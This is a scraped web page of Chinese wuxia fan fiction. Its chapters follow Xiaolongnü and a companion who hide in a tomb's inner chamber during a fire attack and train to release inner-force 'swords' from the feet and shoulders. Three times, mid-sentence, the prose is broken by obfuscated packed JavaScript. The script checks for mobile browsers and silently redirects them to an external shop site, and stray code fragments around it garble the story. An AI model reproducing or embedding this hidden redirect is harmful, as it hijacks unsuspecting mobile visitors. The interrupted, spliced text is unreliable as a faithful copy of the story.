入侵者陆续退出甬道后,小龙女和小童子并未返回石室。 她们没有放松警惕,也没有停在原地,而是贴着暗处,悄无声息地跟上了那群后退的人。 古墓里仍旧一片黑。方才箭雨过后,甬道前段只剩火把熄灭后的焦苦味,血腥被湿冷的石壁一寸寸收住,沉在脚边,久久散不开。 箭矢有的钉在石壁上,有的落在地上,箭羽被脚步踩乱。前方那些人惊惶退走时留下的杂乱痕迹,在黑暗中看不清,却能闻得见。 小童子和小龙女站在甬道阴影里。 她们离墓门并不算远。 若外面有人胆子大些,举着火把再往里走二三十来步,便能看见黑暗中两道安静的白影。 可方才那场箭雨已经把众人吓破了胆,墓门外的人只敢在外面叫骂,谁也不敢再迈进来。 小童子手中仍握着弓。 小龙女的箭也没有离手。 两人并肩站着,呼吸极轻。古墓里熟悉的冷意从脚下石板慢慢往上漫,像寒冰床的余息。 外头的声音则隔着甬道传进来,忽远忽近,听得并不真切,却足够分辨。 先是咒骂。 骂两个站在黑暗里放箭的少年不讲江湖规矩。 小童子听着,眉头都没有动一下。 她并不觉得自己需要讲什么江湖规矩。 这些人带着火、刀、贪念和谣言闯到她们家里,要抓龙儿,要夺古墓的东西,要翻师父留下的石室。她没有一剑一个把他们全杀在甬道里,已经算是收了手。 小龙女更没有反应。 她只是安静听着,像听冷泉滴水。 咒骂之后,是哀嚎。 有人拔箭,有人被同伴踩断骨头,疼得叫声变了调。 那些声音沿着石壁传进来,到了小童子耳边,已经没有最初那样刺耳,只剩下混乱的人声。 外面这些人,疼了怕了,却还要骂,还要贪,还要替自己找借口。 再后来,外头开始商量。 说是商量,其实更多仍是咒骂。 咒骂声里夹带几句主意,几句主意又很快被新的咒骂打断。 有人喊:“让全真教在前!他们会阵法,让他们起阵挡箭,咱们在后头跟着冲!” 这话刚落,便有全真教弟子破口大骂。 那人声音泼辣,听着年纪不大,怒气却足:“放你娘的狗屁!什么叫我们冲在前?你们不就是想拿我全真教的人去送死,当肉垫么?” 另一个全真弟子也骂:“那甬道窄得只能站两三个人,摆什么阵?鬼摆给你看?” 有人不服:“你们全真剑阵天下有名,总比咱们这些散人强。” “那两个人躲在黑里,我们举着火把连箭影都看不清,起什么阵!你真有本事,你自己钻进去挡!” 外头顿时又吵成一片。 小童子听得有些想笑。 她侧头看小龙女。 小龙女仍旧面无波澜,只是指尖在她掌心轻轻推出一道内力。 这一下很轻,却带着一点同样觉得荒唐的意思。 小童子便无声弯了弯眼。 没过多久,又有人提议:“让那姓李的女人进去!她不是她们师姐么?叫她进去哄,把人骗出来!” 这话传进甬道时,小童子的眼神微微一变。 小龙女用力握住小童子的手,她仍望着甬道外的方向,安静听着。 李莫愁若真肯进来,便不会等旁人开口。此刻外头这些人越是逼她,她话里越会露出退意,而那退意下面会藏着锋芒。 外头,李莫愁显然也听见了。 她的声音冷冷响起:“你们倒会打算盘。” 有人道:“李姑娘既是她们师姐,她们总要听你几句吧?” 李莫愁嗤笑:“听我几句?方才你们不是也瞧见了?我若一人进去,只会被她们擒住。骗?骗得出什么玩意?” 她停了停,语气里带着锋利讥讽。 “反正方才诸位都说我两个师妹神功无敌,箭上有毒,内力通天。全真教也说得明白,她们杀了全真七子之一。既然连全真七子都打不过,我说自己打不过师妹,也不算丢脸,不是么?” 外头一静。 随即有人恼羞成怒:“你!” 李莫愁冷笑:“怎么?只许你们把她们说成妖孽,不许我承认打不过?” 又是一顿对骂。 小童子听着李莫愁的声音,心里并没有太大波澜。 她以为自己会痛。 会像很多年前那样,因为师姐一句话、一个眼神、一次离开而难受很久。可此刻李莫愁的声音隔着甬道传来,熟悉里带着陌生,她只觉得远。 像隔着很厚的石壁,也像隔着很多年。 她轻轻回握小龙女的手,示意自己没事。 小龙女没有说话,只把掌心贴得更近。 外头吵了大半天,终于有人说起火。 “箭挡人,挡不了火。” “把柴火扔进去,熏也熏死她们。” “古墓里都是石头,烧不坏宝贝。” “那就烧!” 小童子和小龙女对视一眼。 两人眼里都波澜未起。 火。 烟。 这个办法并不难猜。 古墓甬道幽深,空气流动缓慢,若外面的人真在入口堆火放烟,前段甬道定会被烟气灌满。 可古墓深处另有石室,玉女心经所在的密室更有厚重石门,只要关上,烟气一时半刻进不去。 何况孙婆婆日日在古墓里烧火做饭,灶间烟火气多,她们闻了多年,早已被熏得习惯。 小童子靠近小龙女。 她贴到小龙女耳边,声音轻得几乎只剩气息。 “他们想熏我们出去。等会火起了,我们走到玉女心经石室里。” 小龙女的掌心送出一道温和内力。 那道内力像冷泉中微微回暖的一线水流,稳稳推入小童子掌中。 同意。 小童子笑了笑,她偏不老实,顺着小龙女送来的那道内力,反手“回”了一招。 那一缕内力在两人掌心之间凝成极细的锋芒,又在即将碰到小龙女经脉前轻轻一转,像调皮的鱼尾。 小龙女眼睫微动,她也回了一道更稳的内息,将那点锋芒轻轻压住,再推回去。 两人站在黑暗甬道里,外面有几十上百人商量着如何取她们性命,里面两人却又暗自切磋起来。 一推一接。 一转一封。 掌心无声交锋。 小童子一点都不觉得外头那些人值得担心。 她甚至觉得他们太吵,吵得妨碍自己琢磨新招。 外面的众人你推我让,慢慢吞吞地砍伐起树木来。 砍树声传进墓里,隔着石道,显得闷而迟钝。 斧刃砍进树干,发出一声沉响;树枝折断,又是一阵拖拽声。 有人喊着用力,有人骂着蜂毒,有人把木头往墓门前拖,粗糙树皮刮过石地,声音像什么东西在磨牙。 小童子侧耳听了一会儿。 外头忽然传来一声更沉的巨响,像是一棵大树被掌力震断。 那声音与寻常刀斧不同。先是树身内部一闷,随即枝干爆裂,木屑四散。小童子眼睛微微一亮。 “龙儿。” “他们内力通过掌发出,和我们的掌心剑好相似。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750834|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 小龙女侧头看她。 黑暗中,小童子的眼睛很亮。 她显然已经把外头那些人的砍树声,当成了某种武学提示。 小童子低声道:“你说,如果我们的掌心剑不用掌,用其他地方发出呢?” 她越说越有兴致。 “比如脚,比如肩膀,比如嘴、耳朵、眼睛、心口、腹部等等。若打斗的时候,对方以为我只会从掌心出剑,结果我从肩头、膝侧、足尖都能发出内力剑,那他岂不是避无可避?” 小龙女没有觉得小童子异想天开,她一听便知道其中厉害。 内力本就在经脉中运行,掌心只是最容易出力、最容易感知的地方。若经脉贯通,气息能随意走遍周身,未必只能从掌出。 足尖、肩井、膻中、甚至目窍耳窍,或许真能让内力从不同穴位破出一线锋芒。 掌心伤了,不过割开一道口子。 可若贸然从眼睛、心口、腹部这些弱处试起,气息稍有逆冲,伤的便不是皮肉。 小龙女道:“应当可以做到。” 小童子眼睛更亮。 小龙女又道:“但不能乱试。先从足尖、肩侧开始。” 小童子立刻点头:“好。” 她顿了顿,声音里已有压不住的跃跃欲试。 “一会儿试试?” 小龙女道:“嗯。” 小童子竟希望外头那些人快些把火烧起来。 如此一来,甬道前段被堵,她们便能名正言顺去玉女心经石室关门闭气。 外头吵不进来,烟进不去,她和龙儿正好试这新的法子。 火终于在那群磨洋工的人手中烧了起来。 最初只是几缕烟。 灰白色,带着湿草的辛辣味,贴着地面往里钻。 接着是火光,远远从甬道入口处亮起,摇摇晃晃,照得石壁边缘泛红。 燃烧的柴枝被人一根根抛进来,撞在地上,翻滚几下,噼啪作响。 小童子和小龙女仍站在甬道深处。 从她们的位置看去,远处火光像被黑暗吞了一半,只剩一片不安的红。 烟气慢慢往里涌,带着湿木未燃透的涩味。甬道里原本的冷意被火气一逼,反倒更闷,像有人把一口浊气封在了甬道。 小童子看着那些人把柴火和火把一点点扔进甬道。 火堆越积越多。 渐渐,墓门被火堵住了。 外面的人进不来,里面的人一时也不必出去迎战。 小童子忽然笑了,那笑声很轻,却真心实意。 终于可以和龙儿切磋去了。 小龙女没有笑,她只是看了小童子一眼。可她心中想的,与小童子一样。 终于清静了。 两人不再理会远处火光。 小童子将弓收起,背到身后。小龙女也将箭囊整理好。她们牵着手,转身往古墓深处走。 黑暗里,烟气在身后慢慢铺开,火光被甬道弯折吞没。 越往里,声音越远,热意也越淡。古墓深处仍旧冷而安静,像从未被外界惊扰过。 两人走过熟悉的石阶,走过机关暗门,走过林朝英曾经教她们拆招的石室,走过寒冰床所在的方向,最后,走向玉女心经石室。 石门沉重,静静立在黑暗里。 小童子伸手推门,小龙女与她一同用力。 石门缓缓打开,里面满壁人物图在昏暗中隐约浮现,像许多沉默的旧影。 她们牵着手走进去,身后石门又缓缓合上。 外头那些人的咒骂与贪念,都被厚重石门隔在远处。 石室里只剩下两个人的呼吸。 以及掌心相连的一线内力。 22. 练功 石门合上以后,外头的火声便远了。 不是没有声音。 大火在甬道里烧着,柴枝爆裂时的噼啪声仍能顺着石壁传进来,偶尔还有一两声闷响,像是谁又把烧着的木头往里推。木头撞上石壁,滚落在地。可那些声音隔着一重又一重弯曲甬道,隔着厚重石门,到了玉女心经石室里,便只剩下一点沉闷的余震。 石室里很冷。 这间石室本就处在古墓深处,常年不见天光,寒意从壁缝里渗出来,像无形的水。 小童子和小龙女在这里练了十年玉女心经,对这股冷早已熟悉。 冷不是用来忍的,是用来运功化开的。寒气入体,内息便顺着经脉转一圈,将冷意纳入丹田,再散到四肢百骸。 寒冰床练出的并不只是耐冷。这些年无时无刻运气化冷,寒意一入体便被内息裹住、炼开,日久天长,反而将内力磨得愈发深厚起来。 内力深了,心跳和呼吸便都能放慢,胸腔里那一点气也用得更省。若从前没有寒冰床,没有这些年一日一日的苦练,她们或许真会被外头的火势逼得心慌气短。 小童子站在石室中央,先听了片刻。 她能听见外头火势正旺。烟气一时半刻进不来,石门缝里也没有明显热意。 这里像一只沉在山腹里的石盒,外头人闹得天翻地覆,里面仍旧安静得能听见自己的心跳声。 她低头看自己的脚。 脚下是青黑色石板,年深日久,被她和小龙女练功时的步法磨得很光。石板纹路细密,冷意从脚底一点一点往上钻。 小童子忽然抬脚,轻轻踩了踩。 “龙儿。” “若从这里出剑,先刺穿的就是地板。” 小龙女看向她的足尖,她的足踝细而有力,站在石板上时,整个人像一根绷紧的弦。 小龙女道:“先莫刺穿。” 小童子眨了眨眼。 小龙女又道:“石室要用。” 小童子想了想,点头:“也对。” 她们如今在古墓里已经没有多少可用之物。孙婆婆不在,许多东西坏了便无人修,毁了便少一样。 若真把玉女心经石室的地板戳得坑坑洼洼,师父泉下有知,怕是要从棺里坐起来教训她。 小童子想到这里,竟觉得有些好笑。 她在石室里走了两步,试着将内力沉下去。 从掌心出剑时,感觉很清楚。 掌心有劳宫穴,内息走到那里,像水流汇入一处窄口,只要她心念一凝,那股内力便会收束成锋。 与其说是用力打出去,不如说是让内力在某一点变得极细、极快、极利,然后从身体里透出去。 可足底不同。 足底有涌泉,内息当然可以过。她们轻功运转时,内力也常从足底生出,轻轻一点,便能借力上树、踏叶、掠石、飞檐。那是托,是送,是让身体更轻。 她如今要的却不是托,也不是更用力地踩。 她要在脚静止不动的时候,让一道细而锋利的内力从足底射出,像剑一样,刺穿脚下之物。 小童子站定。 她右脚踩在石板上,脚趾不动,足跟不动,连衣摆都没有晃。 她闭上眼,内息从丹田沉下,过腰胯,入腿,沿膝弯、脚踝,一路落到足心。 那股内力到了脚底以后,自然而然便要散。 像水流到了宽阔处,往四面铺开。 小童子皱眉,她想把那股内力收成一线。 可足底与掌心终究不同。掌心平日灵活,五指常握剑、拉弓、捏诀、拆招,感知细微。 足底却总是用来站立、行走、借力,习惯了把内力铺开,而不是聚拢。 她一收,那股内力便散。再收,又散。 第三次时,内息反而在足心微微一撞,震得她脚底发麻。 小童子睁开眼,低头看脚。 石板毫无痕迹。 别说刺穿地板,连一点灰都没震起来。 她有些不服气。 小龙女则已经站到另一边。 她没有去看小童子,只是微微侧身,将右肩对着石壁。 肩膀出剑,比足底更难。 江湖上有些外家功夫,练到深处,一肩靠过去便能撞断树木、震碎胸骨。 可那仍是撞,是把身体当作兵器,将整个人的劲力送出去。 小龙女要的不是这个。 她不想用肩去撞石壁。 她要肩不动,身不移,只从肩侧射出一道由内力凝成的剑。 她闭上眼。 石室里微弱的火折子光映在她脸上,照出一层极淡的白。 她的眉眼本就清冷,此时更像玉石刻成,连呼吸都几乎看不出来。 内息自丹田起,上行至膻中,过肩井,往右肩侧去。 小龙女先让那道内力贴着经脉走了一圈。 很顺。 这些年她的内功根基极稳,寒冰床与玉女心经将她的经脉磨得清而深,内力运转时少有滞涩。 她甚至能在小童子牵着她手胡乱试招时,分出一部分心神去化解、回推、再反封。 可将内力运到肩侧,让它从肩侧射出去,是另一回事。 她尝试收束。 肩头一热,内力却没有成剑,而是化成一片薄薄的推力,顺着肩侧散开。 若此刻有人近身靠近,或许会被她肩头这股内劲震退半步。可这不是她要的。 小龙女睁眼。 石壁无痕。 她神色不变,只是又闭上眼。 小童子在另一边试到第七次,终于忍不住原地跳了一下。 “为何不行?” 她落地时故意让脚尖轻轻点地,想抓住那一瞬内力聚到足底的感觉。 点地,内力散了。 再点,又散。 她干脆在石室里一蹦一跳起来。 先是右脚,再是左脚;先是脚尖,再是足跟;有时踩在石板中央,有时踩在石壁边缘。 她动作极快,若是旁人在这里,只会看见一道白影绕着石室上下蹦跳,像被困住又不肯停下的风。 可小龙女知道她不是在胡闹。 小童子每一次落脚都不同。 有时内息先走阳跷,有时转阴跷;有时从腰胯沉下,有时从脊背一线压下去。她看似跳得乱,实际上每一次都在试。 她从小便是这样。 被师父打疼了,下一次便换法子;今天被剑锋逼住,明天就自创一招从地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750835|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 上滚开;练天罗地网掌时也是,别人一板一眼,她偏能在那些网眼之间再织出新的网眼。 小龙女静静看了一眼,便收回目光。她也继续试。 肩侧的内力一次次散开。 散开。 再散开。 有一回她收得太急,肩井处微微一痛,像被细针扎了一下。小龙女没有皱眉,只停了一息,将那股反冲的内力顺着经脉慢慢导回丹田。 小童子正好转到她面前,看见她肩头衣料轻轻一动。 “龙儿?” “无事。” “痛了?” “一点。” 小童子立刻不跳了。 她走过去,伸手要摸小龙女的肩。 小龙女没有躲。 小童子的指尖隔着衣料轻轻按了一下,按到肩井附近。她没敢用力,只用自己的内息探了探。 小龙女的经脉仍旧平稳。 只是刚才那一下收束太急,内力像没找到出口的剑,在肩里轻轻蹭了一道。 小童子道:“这里危险些。” 小龙女道:“足底也危险。” 小童子想说足底能有什么危险,最多脚麻。但她又想到,若内力真的从足底乱冲,震伤了涌泉,轻功、步法、甚至站立都会受影响。 她便闭了嘴。 小龙女看着她,忽然道:“换着试。” 小童子眼睛一亮:“你试足底,我试肩?” “嗯。” 两人原本就常这样。 她们练剑时互为对手,练掌时互为网眼,练内功时牵手互渡,谁先摸到一点门道,便让另一人也走一遍。若谁卡住了,换一个人来想,常常会想出不同法子。 小龙女走到小童子方才站的石板上。 她低头看了一眼,石板仍旧完好。 小童子则站到石壁前,学小龙女侧身,将肩对着壁面。她刚一站好,便觉得别扭。 小童子从来不是不动的人。她的武功里有许多变化,脚下、腰间、肩背、手腕,处处都像要动起来。让她肩不动、身不移,只把内力从肩侧射出去,实在比让她提剑打一百招还难受。 她闭眼。内息上行,到肩。然后……散了。 小童子睁眼,说:“它不听话。” 小龙女在另一边道:“不是它不听话。” 小童子回头,小龙女站得很稳。 她不似小童子那样一蹦一跳,只是赤足轻轻立在石板上,将足下每一寸冷意都摸清。 “足底平日用来承身。”小龙女慢慢道,“内力到那里,先想托住自己。若要成剑,须先忘了自己站在上面。” 小童子若有所思,小龙女也在想肩。 “肩也一样。”她道,“肩平日用来转身、承臂、卸力。内力到肩,先想散,想护住身体。要成剑,便不能想着肩。” 小童子听得有些懂,又没有完全懂。 “不能想着肩,那想着什么?” 小龙女安静片刻,“想着剑。” 小童子没有想明白,小龙女没有再解释。 她闭上眼,将内息沉到足心。 这一次,她没有想着自己站在地上,也没有想着脚下石板。她只想起掌心剑第一次成形时的感觉。 23. 练功(2) 不是推出去。 不是打出去。 是把散在身体里的水,收成一线冷光。 心念至此,足心忽然微微一紧。 那股内力没有像之前那样四散,也没有托起她的身体,而是在涌泉处凝了短短一瞬。 只有一瞬,下一刻,内力又散了。石板仍然没有痕迹。 可小龙女睁开眼,眼底极轻地动了一下。 她摸到了。小童子也看出来了。 “你摸到了?” “一点。” 小童子立刻跑过去,蹲下来看地板。 地上什么也没有。 她却像看到了什么大事一样,眼睛亮得厉害。 “是什么感觉?” 小龙女想了想,道:“不要踩。” 小童子蹲在地上抬头看她。 小龙女道:“越想踩,越散。要把脚当作剑鞘。” “剑鞘?” “剑在里面,不在脚上。” 小童子慢慢站起来。 她低头看自己的脚,又看小龙女的肩。 她忽然懂了一点。 若把足底当成发力之处,那内力便会依照过去的习惯,变成轻功、步法、跳跃、借力。可若足底只是一个出口,剑本身仍由心念与内息凝成,那便不必踩,也不必踢。 同理,肩也不是用来撞人的,肩只是剑鞘。 小童子重新站到石壁前,她这一次没有急。 她甚至没有立刻运功,只先看着石壁上那些玉女心经的人物图。 图中女子有的挥剑,有的回身,有的双臂舒展,有的足尖点地。多年前,她和小龙女第一次被林朝英带到这里时,只觉得这些小人密密麻麻,看得眼花。后来一招一式学下去,才知道每一幅图都藏着气息、步法、剑意。 师父说,玉女心经不是只求招式精巧。 小童子那时听不太懂,如今她好像懂了一些。招式只是外面的形,真正的力,是内力,是人心里那一点意。 小童子闭眼,她不想着肩,也不想着撞。她想自己手里有一把剑。 那把剑不是握在手上的,是藏在身体里的。剑锋极细,极冷,沿着经脉慢慢走到肩侧,在那里停住。 停住。 再细一点。 再冷一点。 再…… 肩头忽然一麻。 小童子心念一乱,那一点刚刚收起的内力顿时散开,化成一股推力撞在石壁上。 砰。 声音很轻,石壁上的灰被震落一点。 小童子睁开眼,她有些懊恼。 “又成推力了。” 小龙女道:“比方才好。” 小童子回头看她。 小龙女仍旧站在原地,声音平静:“刚才散在体内,这次散在体外。” 小童子想了想,好像也是。她又高兴起来。 两人便这样换着琢磨。 小龙女试足底,小童子试肩。 小童子试足底,小龙女再试肩。 有时两人站得很远,各自闭目运功;有时又走到一起,牵着手,将方才那一点感觉通过掌心传给对方。 内力的感觉很难用话说清。 “细些”是一种说法,“不要踩”是一种说法,“想着剑”也是一种说法。 可真正的那一点门道,不在字句里。它像石壁上最细的一道刻痕,眼睛看得见,却摸不准;又像寒冰床上结出的白霜,明明在眼前,手指一碰便化了。 小童子越想越急,她本就不是耐性极好的人。小时候不愿睡寒冰床,能日日去找师父打架;后来练掌练剑,疼了便改招,摔了便再起。她解决事情的法子,常常是动起来。 于是她又开始在石室里一蹦一跳。 这次比方才更怪。 她不只是跳,还每落地一次就停一瞬。 右脚落,停。 左脚落,停。 脚尖落,停。 足跟落,停。 有时她明明已经跳起来,却在半空中硬生生一扭身,落下时以肩侧对着石壁,想借那一瞬把肩中内力收成剑。 结果自然还是不成。 但她每失败一次,下一次便换一种。 小龙女静静看着她。 若是旁人看见小童子这模样,大约会以为她终于被外头的大火熏坏了脑子。可小龙女知道,小童子脑子清楚得很。她只是把自己当作一张网,一次次往不知名的水里撒,想捞起那条看不见的鱼。 小龙女没有跟着动,她越想越静,越静,越想。 她重新站回石壁前,肩侧离石壁不到一尺。 她没有闭眼,她看着壁上一幅人物图。那图中女子侧身回望,右臂未抬,剑却在左手。若敌人从右侧袭来,她不能用右掌,不能回剑,似乎只能退。 可若右肩能出剑呢?小龙女的目光停在那里。 她心里没有外头的大火,没有那些叫骂的人,也没有李莫愁、霍都、全真教。连小童子一蹦一跳的身影,也慢慢被她收在耳后。 她只想这一件事。内力行至肩侧。 不推。 不撞。 不护。 不是肩,是剑。 那一点内息忽然在肩头凝住,比方才更稳。 小龙女几乎已经摸到那道门槛,她感觉到剑在身体里成形了。 很细,很短,像一根冰针。只差一点,只差一个出口。 可偏偏就是这一点,怎么也透不出去。 她若强行推,便会散成肩力。 她若完全不推,那一点内息又只停在体内。 小龙女站在那里,眼神清冷,心里却少见地生出一种近似执拗的东西。 她不急,可她不肯退。 小童子蹦了半圈,正好停下来看她。 小龙女的侧脸在火折子微光里安静得惊人,睫毛都没有颤一下。她整个人像已经与石室合在一起,连身上的白衣都仿佛成了石壁上一笔淡淡的线。 小童子忽然不跳了,她怕自己的脚步声惊扰小龙女。 石室里安静下来,外头的大火还在烧。 远处偶尔传来一两声人声,经过石门与甬道,已经听不出内容,只像山腹深处的风。 小童子站在原地,也学着小龙女静下来,她将内力沉到足底。 不踩。 不踢。 不想着脚,想着剑。 她想象自己足下藏着一柄极细的剑。那剑不必拔出来,不必有形,也不必有声。它只要在足底一寸之下成形,便能穿过石板。 内力慢慢收束,这一次没有立刻散。 小童子心中一喜,喜意刚起,那一点内力便“啪”地散了。 她睁开眼,差点骂出声。 小龙女却在此时轻轻道:“心也不能动。” 小童子憋了憋。 “这也太难了。” “嗯。” “比玉女心经还难。” 小龙女想了想,道:“玉女心经有图。” 小童子看向满壁人物图,忽然觉得师父留下的这些小人真是世上最好的东西。35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750836|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 有图,有招,有口诀,哪怕难,至少知道往哪里走。 她们如今琢磨的这个,却没有图,没有师父,也没有人告诉她们对不对。只有两个人在这间石室里,借着外头一场火攻的清静,摸一条谁也不知道能不能走通的路。 小童子叹了口气,又很快笑起来。 “那我们以后自己刻图。” 小龙女看她。 小童子道:“若真练成了,便刻在旁边。师父刻玉女心经,我们刻足下剑、肩上剑。” 小龙女安静片刻,认真点头,“好。” 小童子本来只是随口一说,见小龙女点头,心里忽然热了一下。 她想,若有一日她们真的把这些练成,真的在这间石室里刻下新的图,那么古墓派便不是只剩师父留下的东西,也有她和龙儿留下的东西。 不是为了外头的人,也不是为了让谁抢夺。只是证明她们曾在这里,把一门武功往前推了一步。 小龙女也是这样想的,她眼中的炙热让小童子意通。 小龙女又重新侧身,凝神于右肩。 小童子也站定,将内息沉入足底。 两人一静一动,渐渐都静了下来。 时间在石室里变得很慢,外头火势由旺转沉,沉了又旺,似乎有人又添了柴。烟气并没有进来,热意也到不了这里。小童子练到后来,额角却出了一层极细的汗。那不是热出来的,是内息反复凝散、凝散,逼得气血在经脉里一遍遍冲刷。 小龙女的脸色仍白,只是右肩处的衣料偶尔微微一动。 有几次,小童子几乎以为她要成了,可终究没有。 身体内部的内力每次都有波动,肩侧也好,足底也好,确实都能聚起锋芒的前兆。那种感觉极短,像黑暗中一闪而过的银线。可一到要离体时,便要么散成推力,要么缩回经脉,要么反震得肌肉发麻。 无法成形。 小童子试得头都要痛了。 她坐到地上,仰头看满壁人物图。 “龙儿。” “嗯?” “我觉得它知道怎么出去,但我不知道怎么让它出去。” 小龙女道:“我也如此。” 不知为何,听小龙女也说不知道,小童子反而舒服了点。 若只有她不会,那就是她笨。 若龙儿也不会,那就是这门道确实难。 她刚想笑,石室地面忽然极轻地震了一下。 那一下很轻,轻到若是寻常人站在这里,或许只会以为是外头火堆塌了,震动沿着山腹传来。 可小童子和小龙女同时抬头。 她们在古墓里长大,这里每一条甬道的回声,每一道石门的开合,每一处机关启动前的细微声响,她们都熟悉。 方才那一下,不是火。 是机关。 石室外,远处某条甬道里,古墓机关被触动了。 小童子和小龙女对视一眼,方才还停在武学里的心神,在这一瞬同时收回。 小童子从地上一跃而起,小龙女已伸手取过放在石壁旁的弓。 两人动作快得几乎没有声响。 箭囊背上,弓弦扣紧。 火折子被小童子顺手掐灭,石室重新陷入黑暗。 小龙女抬手按住石门暗处的机括,小童子站在她身侧,手中长弓已拉开半分。 石门缓缓开启,外头冷气涌入。 两道白影一前一后掠出石室,衣袂在黑暗中轻轻一闪,随即无声没入古墓深处。 她们拿着弓箭,飞跃而去。 24. 有鬼 古墓外只剩下火后的余烬。 焦木塌在甬道口,偶尔从缝里吐出一点红光,像将灭未灭的眼。烟气不再成股往里灌,却仍贴着石地往外爬,灰白一层,被山风一吹,便散进林间残枝败叶里。 天色也在这时沉下来。 终南山的傍晚本就冷,阴云一压,林中便更显得空。方才砍树、搬柴、叫骂的人声都低了下去,只剩伤者压着嗓子的喘息,和刀鞘偶尔碰在石上的轻响。 许多人已经走了,走的人没有大声告辞。有人扶着同伴说去寻药,有人说回重阳宫报信,有人干脆趁烟浓时钻进树林,再也没露面。留下的人看见了,也没有拦。 他们自己也未必真想留下。 只是方才退了一步,此刻便又觉得不甘。火烧了两个时辰,若里头的人已经撑不住,自己现在转身,岂不是把最后一步让给旁人? 这种念头比勇气轻贱,却比勇气耐久。 于是墓门前的人越来越安静。 安静里有几分等死似的耐心,也有几分赌徒掀盅前的绷紧。每个人都在看甬道口,又都不愿让旁人看出自己心里那点盘算。 可古墓里没有动静。没有人咳嗽,没有脚步声,没有那两个白衣少年被烟逼出来的影子。 火烧到最后,竟像什么也没有烧出来。 过了许久,不知是谁在后头喊了一句:“进去看看!” 那声音不大,却像石子丢进一潭浑水里。 人群动了动,有人站起身,有人抓紧兵器,有人往前走了半步,又立刻停住。 还有人低声骂道:“你喊得响,你先进去啊。” 喊话的人自然不应。 但是众人还是慢慢站起来,沉默地往古墓门口走去。只是那步子拖得厉害,像脚底粘了泥。每个人都想往前,却又都不肯走在最前。前面的人稍一慢,后面的人便跟着慢;后面的人若是不推,前面的人就更不动。 一群人推推挤挤,走了半天,离墓门也不过近了十来步。 先前被火烤过的石地还有余热,混着灰烬的气味扑面而来。墓门里面却是黑的。 那黑不是夜色的黑。 夜色在山林里,还会有树影、灰云、人的轮廓。古墓里的黑却沉而冷,能把火也吞进去。方才那么多柴火烧进去,竟没能把里面照亮多少。如今火一熄,甬道深处又成了一张无声张开的口。 众人看着那张口,便又停了。 这时,又不知是谁在人群里喊了一句:“说不定那两个小子已经熏死在墓中了!” 人群又是一动。 说不定呢? 这么久的火,这么久的烟。再厉害的人,难道不用喘气?再深的古墓,难道还能没有尽头? 一个墓而已,能有多深? 方才被箭雨吓破胆的人,此刻又在心里悄悄把胆子缝了起来。有人想,若真是那两个少年被熏死了,那先进去的人岂不是能先摸到秘籍?若那古墓里真有金银珠宝,后进去的人恐怕只能捡别人剩下的。 贪念一起来,脚步便又动了。 可恐惧也还在。 黑暗里的冷箭,方才还钉在许多人的胳膊腿上。那些箭没有长眼,却比长眼还准。谁也不知道那两个少年是不是当真死了。若没死,若她们还藏在黑暗里,第一批进去的人便是靶子。 于是众人踌躇来踌躇去,最后竟十分一致地看向了霍都和李莫愁。 霍都站在人群稍后的地方,手里仍拿着折扇。 他脸上的蜂毒依然没消,衣衫不如来时齐整,袖口沾了灰,肩上有被人撞出的褶皱。只是他到底会装,到了此刻,仍能摆出一副风流贵公子的模样。 见众人看过来,霍都心里冷笑,他可不想再做领头人。这古墓邪得很,里面那两个小子也邪得很。 若他们真被熏死了,自然好说;若没死,他走在最前,便又要替这些三教九流挡箭、挡机关、挡那两个不知深浅的少年。 与其如此,不如走在最后。 等前头的人替他探路,替他挡灾。若真有人夺了宝,他再杀夺宝的人,不比自己冲进去容易? 霍都心里算盘打得清楚,脸上却半点不露。 他微微一笑,折扇轻轻一展,道:“诸位看我做什么?熏了两个时辰,再厉害的人,也该被熏得晕死过去吧?” 有人立刻道:“霍公子说得是。” 霍都又道:“再不济,也能叫她们眼花缭乱,功力大减。此刻进去,正是好时候。” 他说到这里,目光在众人脸上转了一圈,忽然合上折扇,往前迈了一步。 “既然各位愿意送我这份大礼,本王子便先谢过诸位。” 说着,他真要往墓门走。 众人脸色一变! “且慢!” 霍都心里松了一口气。 总算跳出来个傻子。 喊话的是个高高瘦瘦的汉子,方才左臂中了一箭,包得厚厚一圈,此刻还往外渗血。他见霍都真要第一个进去,便顾不得疼,提刀站了出来。 “霍公子何必如此急?方才说好大家一起进,宝物自然也该大家一起分。” 另一个瘦高个立刻跟着道:“不错!谁知道霍公子进去以后,会不会把最好的先藏了?” “李姑娘。”又有人看向李莫愁,“古墓是你师门旧地,你得带路。你若走在后头,谁知道会不会把我们往死路上引?” 李莫愁站在一棵被熏黑的松树旁,她拂尘搭在臂弯,衣角染了灰,神情却还是冷冷的。洪凌波也终于来找师父了,跟在她身后,脸色发白,一句话也不敢多说。 李莫愁听着这些人争先恐后地抢“第一”,心中只觉得可笑。 